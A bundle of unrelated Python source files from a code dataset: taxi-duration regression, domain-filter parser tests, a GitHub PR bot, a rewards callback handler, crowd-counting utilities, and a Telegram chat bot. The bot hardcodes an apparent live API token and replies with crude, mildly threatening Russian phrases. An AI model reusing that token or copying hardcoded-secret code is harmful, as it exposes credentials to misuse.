df_validate['pickup_longitude'].values,\n df_validate['dropoff_latitude'].values, df_validate['dropoff_longitude'].values)\n\n\ndf_train['distance_manhattan'] = manhattan_distance(\n df_train['pickup_latitude'].values, df_train['pickup_longitude'].values,\n df_train['dropoff_latitude'].values, df_train['dropoff_longitude'].values)\n\ndf_validate['distance_manhattan'] = manhattan_distance(\n df_validate['pickup_latitude'].values, df_validate['pickup_longitude'].values,\n df_validate['dropoff_latitude'].values, df_validate['dropoff_longitude'].values)\n\n\n\n# calculate directions north <-> south (latutude) and east <-> west (longitude)\n# +1 because TRUE and FALSE is represented by 0 and 1 -> +1 to shift representation to 1 and 2 because same latitude represented by 0\n\ndf_train['direction_ns'] = (df_train.pickup_latitude>df_train.dropoff_latitude)*1+1\nindices = df_train[(df_train.pickup_latitude == df_train.dropoff_latitude) & (df_train.pickup_latitude!=0)].index\ndf_train.loc[indices,'direction_ns'] = 0\n\ndf_validate['direction_ns'] = (df_validate.pickup_latitude>df_validate.dropoff_latitude)*1+1\nindices = df_validate[(df_validate.pickup_latitude == df_validate.dropoff_latitude) & (df_validate.pickup_latitude!=0)].index\ndf_validate.loc[indices,'direction_ns'] = 0\n\ndf_train['direction_ew'] = (df_train.pickup_longitude>df_train.dropoff_longitude)*1+1\nindices = df_train[(df_train.pickup_longitude == df_train.dropoff_longitude) & (df_train.pickup_longitude!=0)].index\ndf_train.loc[indices,'direction_ew'] = 0\n\ndf_validate['direction_ew'] = (df_validate.pickup_longitude>df_validate.dropoff_longitude)*1+1\nindices = df_validate[(df_validate.pickup_longitude == df_validate.dropoff_longitude) & (df_validate.pickup_longitude!=0)].index\ndf_validate.loc[indices,'direction_ew'] = 0\n\n\n\n# calculate average speed in training dataset -> average speed in NYC district is the same of test dataset\ndf_train['avg_speed_h'] = 3600 * df_train['distance_haversine'] / df_train['trip_duration']\ndf_train['avg_speed_m'] = 3600 * df_train['distance_manhattan'] / df_train['trip_duration']\n\ndef plot_average_speed(df_train):\n plt.plot(df_train.groupby('pickup_hour').mean()['avg_speed_h'])\n plt.plot(df_train.groupby('pickup_hour').mean()['avg_speed_m'])\n plt.xlabel('hour')\n plt.ylabel('average speed')\n\n#plot_average_speed(df_train)\n\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nFeature Selection\n\"\"\"\n\ndf_train = df_train[df_train['avg_speed_h'] < 150]\ndf_train = df_train[df_train['avg_speed_m'] < 150]\n\ndf_train = df_train[df_train['pickup_latitude'] > city_lat_border[0]]\ndf_train = df_train[df_train['pickup_longitude'] < city_lat_border[1]]\n\ndf_train = df_train[df_train['dropoff_latitude'] > city_long_border[0]]\ndf_train = df_train[df_train['dropoff_longitude'] < city_long_border[1]]\n\ndf_train = df_train[df_train['trip_duration'] < 20000]\n\n\ndf_train.name = 'df_train'\ndf_validate.name = 'df_validate'\ncolumn_diff(df_train, df_validate)\n\ndf_validate.drop(['id', 'vendor_id', 'pickup_datetime', 'pickup_date', 'store_and_fwd_flag'], axis=1, inplace=True)\ncol_diff = list(np.setdiff1d(df_train.columns, df_validate.columns))\ncol_diff.remove('trip_duration')\n\ndf_train.drop(col_diff, axis=1, inplace=True)\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nMachine Learning (Regression)\n\"\"\"\n\ndf_train = df_train.iloc[:5000]\ndf_validate = df_validate.iloc[:3000]\n\nfrom sklearn.model_selection import train_test_split\ntrain_set, test_set = train_test_split(df_train, test_size=0.2, random_state=42)\n\ny_train = train_set['trip_duration']\nx_train = train_set.drop(['trip_duration'], axis=1)\n\ny_test = test_set['trip_duration']\nx_test = test_set.drop(['trip_duration'], axis=1)\n\nx_validate = df_validate\n\n\npipeline = Pipeline([\n ('reduce_dim', PCA()),\n ('feature_scaling', MinMaxScaler()), # scaling because linear models are sensitive to the scale of input features\n ('regression', Ridge()), # Ridge is default algorithm for linear models\n ])\n\nparam_grid = [{'reduce_dim__n_components': [5, 10, 14],\n 'regression__alpha': [0.005, 0.05, 0.1, 0.5],\n 'regression__solver': ['svd', 'cholesky']\n }]\n\n\npipe_best_params = regression_pipeline(x_train, y_train, pipeline, 5, 'r2', param_grid)\n\npipe_best = Pipeline([\n ('reduce_dim', PCA(n_components = pipe_best_params['reduce_dim__n_components'])),\n ('feature_scaling', MinMaxScaler()),\n ('regression', Ridge(alpha = pipe_best_params['regression__alpha'],solver = pipe_best_params['regression__solver'])),\n])\n\nprint(pipe_best_params['reduce_dim__n_components'])\nprint(pipe_best_params['regression__alpha'])\nprint(pipe_best_params['regression__solver'])\n\ntrain_errors = evaluate_pipe_best_train(x_train, y_train, pipe_best, 'Ridge', log=False, output_file_path=settings.figures)\n\nplot_learning_curve(pipe_best, 'Ridge', x_train, y_train, 'r2', output_file_path=settings.figures)\n\n\n\n\"\"\" ---------------------------------------------------------------------------------------------------------------\nEvaluate the System on the Test Set\n\"\"\"\n#Evaluate the model with the test_set\n# -> Use the function evaluate_pipe_best_test(x_train, y_train, pipe_best, algo, output_file_path=None)\nevaluate_pipe_best_test(x_test, y_test, pipe_best, 'Ridge', log=False, output_file_path=settings.figures)\n\n","sub_path":"src/analysis/NYC_Taxi_Duration_v3_Ridge.py","file_name":"NYC_Taxi_Duration_v3_Ridge.py","file_ext":"py","file_size_in_byte":12648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"55206554","text":"#!/usr/bin/env python3\nimport unittest\nimport logging\nimport re\nfrom publicsuffixlist import PublicSuffixList\n\n\ndef decompose_filter(inputstring, psl=PublicSuffixList()):\n logging.debug(f'Parsing \"{inputstring}\"')\n try:\n match_list = []\n querystring = inputstring\n querystring = re.sub(r'(?i)[^-a-z0-9.%_]', '', querystring).strip('. ').lower()\n logging.debug(f'Cleaned input to \"{querystring}\"')\n if '_' in querystring:\n logging.error(f'Single character wildcards are not handled yet. \"{querystring}\"')\n if querystring.count('%') == 0:\n ts_q1 = querystring\n ts_q2 = querystring\n else:\n # Check for usable strings at the start of the string\n leading_match = re.search(r'^(?P[-a-z0-9.]+)(?:[%_.]*[%_])', querystring)\n if leading_match:\n match_list.append(leading_match.group('q_lead') + ':*')\n # Check for usable strings in the middle of the string\n mid_match_list = re.findall(r'(?<=[%_]\\.)(?P[-a-z0-9.]+)(?:[%_.]*[%_])', querystring)\n if mid_match_list:\n mid_match_list = [m + ':*' for m in mid_match_list]\n match_list.extend(mid_match_list)\n # Check for usable strings at the end of the string\n trailing_match = re.search(r'(?<=[%_]\\.)(?P[-a-z0-9.]+[-a-z0-9])$', querystring)\n if trailing_match:\n if psl.is_private(trailing_match.group('q_trail')):\n match_list.append(trailing_match.group('q_trail'))\n if match_list:\n match_list = list(set(match_list))\n match_list.sort(key=lambda x: len(x.lstrip('w').rstrip(':*')), reverse=True)\n ts_long_list = match_list[:2]\n ts_q1 = ts_long_list[0]\n ts_q2 = ts_long_list[-1]\n else:\n logging.error(f'Could not extract usable querystring on \"{inputstring}\"')\n return\n except Exception as e:\n logging.error(f'Error on \"{inputstring}\", \"{e}\"')\n return\n return_dict = {\n 'querystring': querystring,\n 'ts_q1': ts_q1,\n 'ts_q2': ts_q2,\n }\n return return_dict\n\n\nclass TestExtractQuery(unittest.TestCase):\n\n def test_simple_query(self):\n expected_dict = {'querystring': 'www.example.com.evil.com', 'ts_q1': 'www.example.com.evil.com', 'ts_q2': 'www.example.com.evil.com'}\n self.assertEqual(decompose_filter('www.example.com.evil.com'), expected_dict)\n\n def test_failed_mid_strings(self):\n self.assertIsNone(decompose_filter('%adgoogl%'))\n\n def test_failed_partial_domain(self):\n self.assertIsNone(decompose_filter('%vil.com'))\n\n def test_clean_and_trailing(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.evil.co.uk'}\n self.assertEqual(decompose_filter('%[.]evil.co.uk'), expected_dict)\n\n def test_leading_sub(self):\n expected_dict = {'querystring': 'www.example.com.%', 'ts_q1': 'www.example.com.:*', 'ts_q2': 'www.example.com.:*'}\n self.assertEqual(decompose_filter('www.example.com.%'), expected_dict)\n\n def test_only_www(self):\n expected_dict = {'ts_q1': 'www:*', 'ts_q2': 'www:*', 'querystring': 'www%'}\n self.assertEqual(decompose_filter('www%'), expected_dict)\n\n def test_trailing(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.evil.co.uk'}\n self.assertEqual(decompose_filter('%[.]evil.co.uk'), expected_dict)\n\n def test_trailing_multiple_wildcard(self):\n expected_dict = {'ts_q1': 'evil.co.uk', 'ts_q2': 'evil.co.uk', 'querystring': '%.%.evil.co.uk'}\n self.assertEqual(decompose_filter('%.%.evil.co[.]uk'), expected_dict)\n\n def test_www_multiple_wildcard(self):\n expected_dict = {'ts_q1': 'www.:*', 'ts_q2': 'www.:*', 'querystring': 'www.%.%'}\n self.assertEqual(decompose_filter('www.%.%'), expected_dict)\n\n def test_ignore_public_suffix(self):\n expected_dict = {'querystring': 'www.example%.co.uk', 'ts_q1': 'www.example:*', 'ts_q2': 'www.example:*'}\n self.assertEqual(decompose_filter('www.example%.co.uk'), expected_dict)\n\n def test_get_all_domains(self):\n expected_dict = {'ts_q1': 'example.co.:*', 'ts_q2': 'example.co.:*', 'querystring': '%.example.co.%'}\n self.assertEqual(decompose_filter('%.example.co.%'), expected_dict)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/unittest.py","file_name":"unittest.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"60180842","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport os\nfrom typing import Optional, NamedTuple\n\nfrom github.MainClass import Github\nfrom github.Repository import Repository\nfrom github.GithubException import GithubException, UnknownObjectException\nfrom github.GitRef import GitRef\nfrom github.PullRequest import PullRequest\nfrom github.InputGitTreeElement import InputGitTreeElement\nfrom chromedriver_updater.constants import PR_GITHUB_TOKEN, GITHUB_REPO, GITHUB_REF_NAME, BRANCH_NAME, GIT_AUTHOR_NAME\nimport sys\n\n\nclass UpdateEntry(NamedTuple):\n\tpath: str\n\told_version: str\n\tnew_version: str\n\n\ndef parse_update_entry(entry: str) -> UpdateEntry:\n\tparts = entry.split(\":\")\n\tproject = parts[0]\n\tparts = parts[1].split(\",\")\n\n\treturn UpdateEntry(project, parts[0], parts[1])\n\n\ndef path_to_project(path: str) -> str:\n\tif \"traffic_portal\" in path:\n\t\treturn \"Traffic Portal\"\n\telif \"traffic-portal\" in path:\n\t\treturn \"Traffic Portal v2\"\n\treturn \"\"\n\n\nclass PRCreator(Github):\n\trepo: Repository\n\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.repo = self.get_repo(GITHUB_REPO)\n\n\tdef pr_exists(self) -> bool:\n\t\tfor pr in self.search_issues(\"repo:%s is:pr is:open head:%s\" % (self.repo.full_name, BRANCH_NAME)):\n\t\t\treturn True\n\t\treturn False\n\n\tdef branch_exists(self) -> Optional[GitRef]:\n\t\ttry:\n\t\t\tb = self.repo.get_git_ref(\"heads/%s\" % BRANCH_NAME)\n\t\t\treturn b\n\t\texcept UnknownObjectException as e:\n\t\t\treturn None\n\n\tdef create_git_tree_from_entry(self, entry: UpdateEntry, file: str) -> InputGitTreeElement:\n\t\tfile_path = os.path.join(entry.path, file)\n\t\twith open(file_path, \"r\") as f:\n\t\t\tchange_file = f.read()\n\t\tblob = self.repo.create_git_blob(change_file, \"utf-8\")\n\t\treturn InputGitTreeElement(path=file_path, mode='100644', type='blob', sha=blob.sha)\n\n\tdef create_commit(self, updates: [UpdateEntry]) -> PullRequest:\n\t\twith open(os.path.join(os.path.dirname(__file__), \"templates\", \"pr.md\"), encoding=\"utf-8\") as f:\n\t\t\tpr_template = f.read()\n\t\ttree_elements = []\n\t\tprojects = \"\"\n\t\tupdated = \"\"\n\t\tfor update in updates:\n\t\t\ttree_elements.append(self.create_git_tree_from_entry(update, \"package.json\"))\n\t\t\ttree_elements.append(self.create_git_tree_from_entry(update, \"package-lock.json\"))\n\t\t\tprojects += \"* %s\\n\" % path_to_project(update.path)\n\t\t\tupdated += \"%s: %s -> %s\\n\" % (update.path, update.old_version, update.new_version)\n\t\thead_branch = self.repo.get_branch(GITHUB_REF_NAME)\n\t\tbranch_ref = self.repo.create_git_ref(ref=\"refs/heads/%s\" % BRANCH_NAME, sha=head_branch.commit.sha)\n\t\tbranch = self.repo.get_branch(BRANCH_NAME)\n\t\tbase_tree = self.repo.get_git_tree(sha=branch.commit.sha)\n\t\ttree = self.repo.create_git_tree(tree_elements, base_tree)\n\t\tparent = self.repo.get_git_commit(sha=branch.commit.sha)\n\t\tcommit = self.repo.create_git_commit(\"Update chromedriver\", tree, [parent])\n\t\tbranch_ref.edit(sha=commit.sha)\n\n\t\treturn self.repo.create_pull(title=\"Update Chromedriver Versions\", maintainer_can_modify=True,\n\t\t\t\t\t\t\t\t\t body=pr_template.format(UPDATES=updated, PROJECTS=projects),\n\t\t\t\t\t\t\t\t\t head=\"%s:%s\" % (GIT_AUTHOR_NAME, BRANCH_NAME), base=GITHUB_REF_NAME)\n\n\nif __name__ == \"__main__\":\n\tprint(\"Logging into github\")\n\tgh = PRCreator(login_or_token=PR_GITHUB_TOKEN)\n\n\tif len(sys.argv) == 1:\n\t\tif gh.pr_exists():\n\t\t\tprint(\"PR %s already exists\" % BRANCH_NAME)\n\t\tsys.exit(0)\n\telif len(sys.argv) != 2:\n\t\tprint(\"chromedriver_updater [updates file]\")\n\t\tsys.exit(1)\n\n\tupdatesFile = sys.argv[1]\n\tif not os.path.exists(updatesFile):\n\t\tprint(\"No updates\")\n\t\tsys.exit(0)\n\twith open(updatesFile, \"r\") as f:\n\t\tupdates = [line.rstrip() for line in f.readlines()]\n\tbranch_ref = gh.branch_exists()\n\tif branch_ref is not None:\n\t\tprint(\"Branch already exists (but not the pull request), recreating\")\n\t\tbranch_ref.delete()\n\n\tupdates = [parse_update_entry(update) for update in updates if update != \"\"]\n\tgh.create_commit(updates)\n","sub_path":".github/actions/chromedriver-updater/chromedriver_updater/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"365862919","text":"# -*- coding: utf-8 -*-\n\nimport web\nimport logging\nimport protocol\nimport db_helper\nfrom data_types import *\nfrom billing_client import BillingClient\n\nlogger = logging.getLogger()\n\nclass Handler:\n def POST(self):\n req = protocol.ReportOfferWall_Req(web.input())\n resp = protocol.ReportOfferWall_Resp()\n\n is_task_finished = db_helper.check_offerwall_point_has_reported(req.unique_task_id)\n if is_task_finished:\n logger.error(\"[OFFERWALL CALLBACK] task has finished, unique_task_id = %s\",req.unique_task_id)\n resp.rtn = -1\n return resp.dump_json()\n\n total = db_helper.update_offerwall_point(req.device_id, req.type, req.increment, req.unique_task_id)\n \n income = req.increment * 10\n BillingClient.instance().recharge(req.device_id, req.userid, income, req.remark, income)\n\n if req.inviter != 0:\n BillingClient.instance().share_income(req.inviter, req.userid, int(income/10.0))\n\n resp.income = income\n return resp.dump_json()\n\n\n","sub_path":"wangcai_svr/task/src/req_report_task_offerwall.py","file_name":"req_report_task_offerwall.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"371075744","text":"# import pandas.io.json as json\nimport pandas._libs.json as ujson\nfrom flask import make_response\n\nfrom .file_system_adapter import get_scheme\n\n\ndef to_json(data):\n return ujson.dumps(data, double_precision=2, orient='values')\n\n\ndef json_response(data, response=200):\n # response = make_response(simplejson.dumps(data, check_circular=True), response)\n # response = make_response(json.dumps(data), response)\n s = ujson.dumps(data, double_precision=2, orient='values')\n # s = nujson.dumps(data, double_precision=1)\n response = make_response(s, response)\n response.headers['Content-Type'] = 'application/json'\n return response\n\n\ndef get_email_domain(email):\n at_index = email.find('@')\n domain = None\n if at_index != -1:\n domain = email[at_index + 1:]\n return domain\n\n\ndef load_dataset_schema(url):\n import os\n\n import fsspec\n import json\n\n def get_extension(path):\n name, ext = os.path.splitext(path)\n if ext == '.gz':\n name, ext = os.path.splitext(name)\n if ext == '.json':\n ext = '.json.gz'\n return ext\n\n extension = get_extension(url)\n json_schema = None\n if extension in ['.json', '.json.gz', '']:\n scheme = get_scheme(url)\n fs = fsspec.filesystem(scheme)\n if extension == '':\n url = os.path.join(url, 'index.json.gz')\n extension = get_extension(url)\n if extension == '.json.gz':\n import gzip\n with gzip.open(fs.open(url)) as f:\n json_schema = json.load(f)\n else:\n with fs.open(url) as f:\n json_schema = json.load(f)\n return json_schema\n","sub_path":"cirrocumulus/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"541474251","text":"import logging\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\nimport os\n\nPORT = int(os.environ.get('PORT', 8443))\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\nTOKEN = '1906828102:AAFpGRVV5t27ywJnV8C4oELGrf37qRo8nRI'\n\ndef start(update, context):\n update.message.reply_text('Hi!')\n\ndef help(update, context):\n update.message.reply_text(\"'Сергей', 'Эльдар', 'усы', 'Бала', 'Бала привет', 'ты как', 'заткните его', 'пизды дам'\")\n\n\ndef echo(update, context):\n user_says = update.message.text.lower().split()\n user_says = set(user_says)\n for user_say in user_says:\n if \"сергей\" in user_say:\n update.message.reply_text(\"@MarkSulla, ты работу нашел?\")\n elif \"эльдар\" in user_say:\n update.message.reply_text(\"привет бала\")\n elif \"усы\" in user_say:\n update.message.reply_text(\"@MarkSulla усы побрил?\")\n elif user_say == \"бала\":\n update.message.reply_text(\"что брат?\")\n elif user_say == \"бала привет\":\n update.message.reply_text(\"Привет брат\")\n elif \"ты как\" in user_say:\n update.message.reply_text(\"Пойдет брат, ты как?\")\n elif \"заткните его\" in user_say:\n update.message.reply_text(\"Слава Казахстану, героям слава\")\n elif \"пизды дам\" in user_say:\n update.message.reply_text(\"https://t.me/c/1552294756/1821\")\n elif \"user_says\" in user_say:\n update.message.reply_text(user_say)\n\ndef error(update, context):\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef main():\n \"\"\"Start the bot.\"\"\"\n # Create the Updater and pass it your bot's token.\n # Make sure to set use_context=True to use the new context based callbacks\n # Post version 12 this will no longer be necessary\n updater = Updater(TOKEN, use_context=True)\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # on different commands - answer in Telegram\n dp.add_handler(CommandHandler(\"start\", start))\n dp.add_handler(CommandHandler(\"help\", help))\n dp.add_handler(MessageHandler(Filters.text, echo))\n\n # log all errors\n dp.add_error_handler(error)\n\n # Start the Bot\n updater.start_webhook(listen = \"0.0.0.0\", \n port=int(PORT),\n url_path=TOKEN,\n webhook_url='https://stormy-thicket-52208.herokuapp.com/' + TOKEN)\n\n # Run the bot until you press Ctrl-C or the process receives SIGINT,\n # SIGTERM or SIGABRT. This should be used most of the time, since\n # start_polling() is non-blocking and will stop the bot gracefully.\n updater.idle()\n\nif __name__ == '__main__':\n main()","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"344009069","text":"\"\"\"\nThis file contains important utility functions used during training, validation and testing.\n\n@author: Aditya Vora\n\n\"\"\"\n\nimport glob\nimport os\nimport random\nimport numpy as np\nimport tensorflow as tf\nimport sys\nimport scipy.io as sio\nimport cv2\nimport random\nimport math\nfrom datetime import datetime\n\n\ndef get_density_map_gaussian(points, d_map_h, d_map_w):\n \"\"\"\n Creates density maps from ground truth point locations\n :param points: [x,y] x: along width, y: along height\n :param d_map_h: height of the density map\n :param d_map_w: width of the density map\n :return: density map\n \"\"\"\n\n im_density = np.zeros(shape=(d_map_h, d_map_w), dtype=np.float32)\n\n if np.shape(points)[0] == 0:\n sys.exit()\n\n for i in range(np.shape(points)[0]):\n\n f_sz = 15\n sigma = 4\n\n gaussian_kernel = get_gaussian_kernel(f_sz, f_sz, sigma)\n\n x = min(d_map_w, max(1, np.abs(np.int32(np.floor(points[i, 0])))))\n y = min(d_map_h, max(1, np.abs(np.int32(np.floor(points[i, 1])))))\n\n if(x > d_map_w or y > d_map_h):\n continue\n\n x1 = x - np.int32(np.floor(f_sz / 2))\n y1 = y - np.int32(np.floor(f_sz / 2))\n x2 = x + np.int32(np.floor(f_sz / 2))\n y2 = y + np.int32(np.floor(f_sz / 2))\n\n dfx1 = 0\n dfy1 = 0\n dfx2 = 0\n dfy2 = 0\n\n change_H = False\n\n if(x1 < 1):\n dfx1 = np.abs(x1)+1\n x1 = 1\n change_H = True\n\n if(y1 < 1):\n dfy1 = np.abs(y1)+1\n y1 = 1\n change_H = True\n\n if(x2 > d_map_w):\n dfx2 = x2 - d_map_w\n x2 = d_map_w\n change_H = True\n\n if(y2 > d_map_h):\n dfy2 = y2 - d_map_h\n y2 = d_map_h\n change_H = True\n\n x1h = 1+dfx1\n y1h = 1+dfy1\n x2h = f_sz - dfx2\n y2h = f_sz - dfy2\n\n if (change_H == True):\n f_sz_y = np.double(y2h - y1h + 1)\n f_sz_x = np.double(x2h - x1h + 1)\n\n gaussian_kernel = get_gaussian_kernel(f_sz_x, f_sz_y, sigma)\n\n im_density[y1-1:y2, x1-1:x2] = im_density[y1 -\n 1:y2, x1-1:x2] + gaussian_kernel\n return im_density\n\n\ndef get_gaussian_kernel(fs_x, fs_y, sigma):\n \"\"\"\n Create a 2D gaussian kernel\n :param fs_x: filter width along x axis\n :param fs_y: filter width along y axis\n :param sigma: gaussian width\n :return: 2D Gaussian filter of [fs_y x fs_x] dimension\n \"\"\"\n gaussian_kernel_x = cv2.getGaussianKernel(ksize=np.int(fs_x), sigma=sigma)\n gaussian_kernel_y = cv2.getGaussianKernel(ksize=np.int(fs_y), sigma=sigma)\n gaussian_kernel = gaussian_kernel_y * gaussian_kernel_x.T\n return gaussian_kernel\n\n\ndef compute_abs_err(pred, gt):\n \"\"\"\n Computes mean absolute error between the predicted density map and ground truth\n :param pred: predicted density map\n :param gt: ground truth density map\n :return: abs |pred - gt|\n \"\"\"\n return np.abs(np.sum(pred[:]) - np.sum(gt[:]))\n\n\ndef create_session(weights_dir):\n \"\"\"\n Module to create a session folder. It will create a folder with a proper session\n id and return the session path.\n :param log_dir: root log directory\n :param session_id: ID of the session\n :return: path of the session id folder\n \"\"\"\n previous_sessions = [int(s) for s in os.listdir(weights_dir)]\n session_id = max(previous_sessions) + 1 if len(previous_sessions)>0 else 0\n\n \n folder_path = os.path.join(weights_dir, (str(session_id)).zfill(5))\n if os.path.exists(folder_path):\n print('Session already taken. Please select a different session id.')\n sys.exit()\n else:\n os.makedirs(folder_path)\n print(\"Generated session {}\".format(folder_path))\n \n # Create Tf logs folder\n tflogs_folder = os.path.join(folder_path, \"tflogs\")\n os.mkdir(tflogs_folder)\n \n # Create weights folder\n weights_folder = os.path.join(folder_path, \"weights\")\n os.mkdir(weights_folder)\n \n return tflogs_folder, weights_folder\n\n\ndef get_file_id(filepath):\n return os.path.splitext(os.path.basename(filepath))[0]\n\n\ndef get_data_list(data_root, mode='train', part='A', dry_run=False):\n \"\"\"\n Returns a list of images that are to be used during training, validation and testing.\n It looks into various folders depending on the mode and prepares the list.\n :param mode: selection of appropriate mode from train, validation and test.\n :param part: selection of training set part A or B\n :param dry_run: If dry run then only one item is returned. Useful for testing the script\n :return: a list of filenames of images and corresponding ground truths after random shuffling.\n \"\"\"\n data_root = os.path.join(data_root, 'part_{}'.format(part))\n if mode == 'train':\n imagepath = os.path.join(data_root, 'train_data', 'images')\n gtpath = os.path.join(data_root, 'train_data', 'ground-truth')\n elif mode=='valid':\n imagepath = os.path.join(data_root, 'train_data', 'images')\n gtpath = os.path.join(data_root, 'train_data', 'ground-truth')\n else:\n imagepath = os.path.join(data_root, 'test_data', 'images')\n gtpath = os.path.join(data_root, 'test_data', 'ground-truth')\n\n image_list = [file for file in glob.glob(os.path.join(imagepath, '*.jpg'))]\n gt_list = []\n\n for filepath in image_list:\n file_id = get_file_id(filepath)\n gt_file_path = os.path.join(gtpath, 'GT_' + file_id + '.mat')\n gt_list.append(gt_file_path)\n\n if mode == 'train':\n image_list = image_list[len(image_list)//10:]\n gt_list = gt_list[len(gt_list)//10:]\n elif mode =='valid':\n image_list = image_list[:len(image_list)//10]\n gt_list = gt_list[:len(gt_list)//10]\n\n xy = list(zip(image_list, gt_list))\n random.shuffle(xy)\n s_image_list, s_gt_list = list(zip(*xy))\n\n if dry_run:\n s_image_list = s_image_list[:1]\n s_gt_list = s_gt_list[:1]\n return s_image_list, s_gt_list\n\n\ndef reshape_tensor(tensor):\n \"\"\"\n Reshapes the input tensor appropriate to the network input\n i.e. [1, tensor.shape[0], tensor.shape[1], 1]\n :param tensor: input tensor\n :return: reshaped tensor\n \"\"\"\n r_tensor = np.reshape(tensor, newshape=(\n 1, tensor.shape[0], tensor.shape[1], 1))\n return r_tensor\n\n\ndef save_weights(graph, fpath):\n \"\"\"\n Module to save the weights of the network into a numpy array.\n Saves the weights in .npz file format\n :param graph: Graph whose weights needs to be saved.\n :param fpath: filepath where the weights needs to be saved.\n :return:\n \"\"\"\n sess = tf.get_default_session()\n variables = graph.get_collection(\"variables\")\n variable_names = [v.name for v in variables]\n kwargs = dict(list(zip(variable_names, sess.run(variables))))\n np.savez(fpath, **kwargs)\n\n\ndef load_weights(graph, fpath):\n \"\"\"\n Load the weights to the network. Used during transfer learning and for making predictions.\n :param graph: Computation graph on which weights needs to be loaded\n :param fpath: Path where the model weights are stored.\n :return:\n \"\"\"\n sess = tf.get_default_session()\n variables = graph.get_collection(\"variables\")\n data = np.load(fpath)\n for v in variables:\n if v.name not in data:\n print((\"could not load data for variable='%s'\" % v.name))\n continue\n print((\"assigning %s\" % v.name))\n sess.run(v.assign(data[v.name]))\n\n\ndef load_gray_image(filename):\n \"\"\"\n :param filename: load the image and cvt to gray \n \"\"\"\n img = cv2.imread(filename)\n gray_img = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n return np.asarray(gray_img, dtype=np.float32)\n\n\ndef load_gt(gt_filename, image_shape):\n \"\"\"\n :param gt_filename: mat file for points\n :param image_shape: the imagefile raw shape\n :return points, count_points, gaussian_map\n \"\"\"\n image_info = sio.loadmat(gt_filename)['image_info'][0][0][0][0]\n points = image_info[0]\n count_points = image_info[1]\n gmap = get_density_map_gaussian(points, image_shape[0], image_shape[1])\n gmap_resized = cv2.resize(gmap, (math.ceil(\n image_shape[1]/4), math.ceil(image_shape[0]/4)))\n return points, count_points, gmap\n","sub_path":"Disha-Pattani/models/crowdetection/mccnn/mccnn_utils.py","file_name":"mccnn_utils.py","file_ext":"py","file_size_in_byte":8331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"94322568","text":"# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\nimport armid\nimport wx\nfrom Borg import Borg\nfrom VulnerabilityParameters import VulnerabilityParameters\n\n#import DimensionPanelFactory\n\nclass TraceExplorer(wx.Dialog):\n def __init__(self,parent,traceDimension,isFrom,envName=''):\n wx.Dialog.__init__(self,parent,armid.TRACE_ID,'Contributions',style=wx.DEFAULT_DIALOG_STYLE|wx.MAXIMIZE_BOX|wx.THICK_FRAME|wx.RESIZE_BORDER,size=(800,300))\n b = Borg()\n self.dbProxy = b.dbProxy\n self.theTraceDimension = traceDimension\n self.isFromIndicator = isFrom\n self.theSelectedValue = ''\n self.theToDimension = ''\n self.theLabel = ''\n self.theEnvironmentName = envName\n\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer = wx.BoxSizer(wx.HORIZONTAL)\n mainSizer.Add(frameSizer,1,wx.EXPAND)\n\n dimensionSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer.Add(dimensionSizer,0,wx.EXPAND)\n dimensionLabel = wx.StaticText(self,-1,'Dimension:')\n dimensionSizer.Add(dimensionLabel)\n dimensions = self.dbProxy.getTraceDimensions(self.theTraceDimension,self.isFromIndicator)\n self.dimensionList = wx.ListBox(self,armid.TRACE_LISTDIM_ID,choices=dimensions,style=wx.LB_SINGLE)\n dimensionSizer.Add(self.dimensionList,1,wx.EXPAND)\n\n valueSizer = wx.BoxSizer(wx.VERTICAL)\n frameSizer.Add(valueSizer,1,wx.EXPAND)\n valueLabel = wx.StaticText(self,-1,'Value:')\n valueSizer.Add(valueLabel)\n 